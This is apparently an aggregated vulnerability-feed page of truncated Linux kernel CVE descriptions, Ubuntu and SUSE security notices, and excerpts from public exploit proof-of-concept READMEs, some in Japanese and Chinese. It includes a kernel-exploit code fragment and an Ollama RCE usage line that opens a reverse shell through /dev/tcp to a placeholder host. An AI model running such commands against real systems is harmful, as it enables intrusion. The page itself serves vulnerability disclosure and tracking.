CVE-2026-93071

A flaw was found in the Linux kernel's bcm2835-unicam media driver. This vulnerability involves a memory leak where an allocated asynchronous node context asc is not properly released during error handling or module removal. Over time, this can lead to resource exhaustion and potentially result i...

CVE-2026-93195

A flaw was found in the Linux kernel's DisplayPort dw-dp bridge driver. The DisplayPort AUX channel was initialized but never properly unregistered. This could lead to resource leaks and a use-after-free vulnerability, potentially resulting in system instability or denial of service...

CVE-2026-92488

A flaw was found in the Linux kernel's RDMA/erdma component. When certain hardware object destroy commands fail, the system does not fully release the associated software-owned resources. This incomplete teardown results in the leaking of critical system resources, such as queue buffers and...

CVE-2026-93101

A flaw was found in the Linux kernel's v4l2-async module. A local user, by disconnecting a specific USB device that uses the i2c tvp5150 driver, could trigger a system crash. This denial of service DoS vulnerability arises from an issue in how the sub-device is unregistered when its asynchronous...

CVE-2026-93111

A flaw was found in the Linux kernel's Berkeley Packet Filter BPF tracing mechanism. This vulnerability occurs when tracingmulti links are not properly managed, specifically when they fail to release resources after being attached alongside fentry links. This improper resource handling can lead t...

USN-8871-1 linux-raspi vulnerabilities

It was discovered that some Arm processors could complete a broadcast translation lookaside buffer TLB invalidation before memory writes made through the invalidated translation were globally observed. A local attacker could possibly use this to write to memory after permission to do so had been...

USN-8871-1: Linux kernel (Raspberry Pi) vulnerabilities

It was discovered that some Arm processors could complete a broadcast translation lookaside buffer TLB invalidation before memory writes made through the invalidated translation were globally observed. A local attacker could possibly use this to write to memory after permission to do so had been...

CVE-2026-98092

A flaw was found in the Linux kernel's Advanced Linux Sound Architecture ALSA AMD audio driver. This vulnerability can lead to a Denial of Service DoS due to a memory leak when closing audio capture streams. A local user could exploit this flaw by repeatedly opening and closing the affected audio...

USN-8851-3 linux-azure-5.4 vulnerabilities

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - Network file system NFS server daemon; - IPv6 networking; - Netfilter; CVE-2025-38724, CVE-2026-53131, CVE-2026-532...

USN-8851-3: Linux kernel (Azure) vulnerabilities

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - Network file system NFS server daemon; - IPv6 networking; - Netfilter; CVE-2025-38724, CVE-2026-53131, CVE-2026-532...

CVE-2017-16994

/ disablemapminadd.c / / / include include include include include include include / 偏移量可能不同，内核是自定义编译的 测试时你可以读取vmlinux并计算偏移量 / / define OFFSETKERNELBASE 0x000000 / define MMAPMINADDR 0x1101de8 define DACMMAPMINADDR 0xe8e810 / 通过读取/proc/kallsyms获取内核函数地址 / unsigned long getkernelsymchar name FILE f...

CVE-2021-38647

CVE-2021-38647 CVE-2021-38647 - Azure UNIX/Linux VM上で認証なしのRCE OMIGOD を悪用するためのPOC 詳細 Microsoft Azureでは、UNIX/Linux VMに対してAzure Automation Accounts、Update Management、Log Analytics、Configuration Managementなどのサービスが使用されると、OMIアプリケーションが自動的にインストールされます。また、Configuration...

CVE-2019-5489

CVE 2019-5489 このリポジトリには、Linux向けのPage Cache Side Channel Attacks（CVE-2019-5489）の概念実証（PoC）が含まれています。 ページキャッシュサイドチャネルを評価するために、2つのプロセス間でcovert channel（隠れチャネル）を実装しました。 送信プロセスは、ページキャッシュサイドチャネルを介して機密データを受信プロセスに送信します。 Linuxカーネル5.0以降ではページキャッシュ攻撃が緩和されているため、このPoCはLinuxカーネル5.0より前でのみ動作します 。 注記: Ubuntu...

CVE-2021-3156

CVE-2021-3156 Sudo Baron Samedit このリポジトリは、Linux x64をターゲットとしたCVE-2021-3156のエクスプロイトです。詳細な解説は、https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 をご覧ください。 クレジット: QualysのBraon Sameditによる最初のアドバイザリ。 ファイル tcache対応glibc向けエクスプロイト exploitnss.py すべての要件...

CVE-2017-16995

脆弱性の説明 Ubuntuは、デスクトップアプリケーションを中心としたオープンソースのGNU/Linuxオペレーティングシステムであり、Debian GNU/Linuxをベースとしています。最近、ホワイトハッカーによって、Ubuntuの最新バージョン（Ubuntu 16.04）にローカル特権昇格の脆弱性が存在することが発覚しました。脆弱性番号はCVE-2017-16995です。この脆弱性は、eBPF...

CVE-2021-4034

CVE-2021-4034 Polkit の PoC Polkit とは何か？ Policy Toolkit（または Polkit）は、2009 年のリリース以来、root 権限を持たない攻撃者でも、Polkit パッケージを備えた任意の Linux システム上で簡単に管理アクセスを取得できるようにしています。残念ながら（あるいはそうでないかもしれませんが）、これはほとんどの Linux ディストリビューションにデフォルトでインストールされています。そのため、この脆弱性は広範囲に及ぶものとなっています。...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux上で実行する必要があり、環境にはgccが必要です。 golangをインストールし、以下のコマンドを実行してシェルをリバウンドします。 go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：エクスプロイトの実行には数分かかる場合があります。しばらくお待ちください。...

CVE-2025-38001

CVE-2025-38001 RBTree 家族ドラマ Linux HFSC Eltree Use-After-Free - Debian 12 PoC このPoCは、RBTree変換に基づくページレベルのデータオンリー攻撃を利用してシステムを侵害します。このエクスプロイトは移植性があり、すべてのkernelCTFインスタンス（LTS 6.6.90、COS 109、COS 105）およびDebian 12で動作します。Ubuntu LTSでは、Kmalloc Random Cachesのため、わずかな修正のみが必要です。 脆弱性分析とエクスプロイト開発:...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf exim ユーザーとグループを作成する sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim 依存関係をインストールする sudo apt-get update sudo apt-get install -y make build-essential libpcre3-dev...

Security update for the Linux Kernel (Live Patch 43 for SUSE Linux Enterprise 15 SP5)

This update for the SUSE Linux Enterprise Kernel 5.14.21-150500.55.177 fixes various security issues: The following security issues were fixed: CVE-2026-63888: scsi: target: iscsi: Fix CRC overread and double-free in iscsithandletextcmd bsc1272391. CVE-2026-63917: ip6: vti: Use ip6tnl.net in...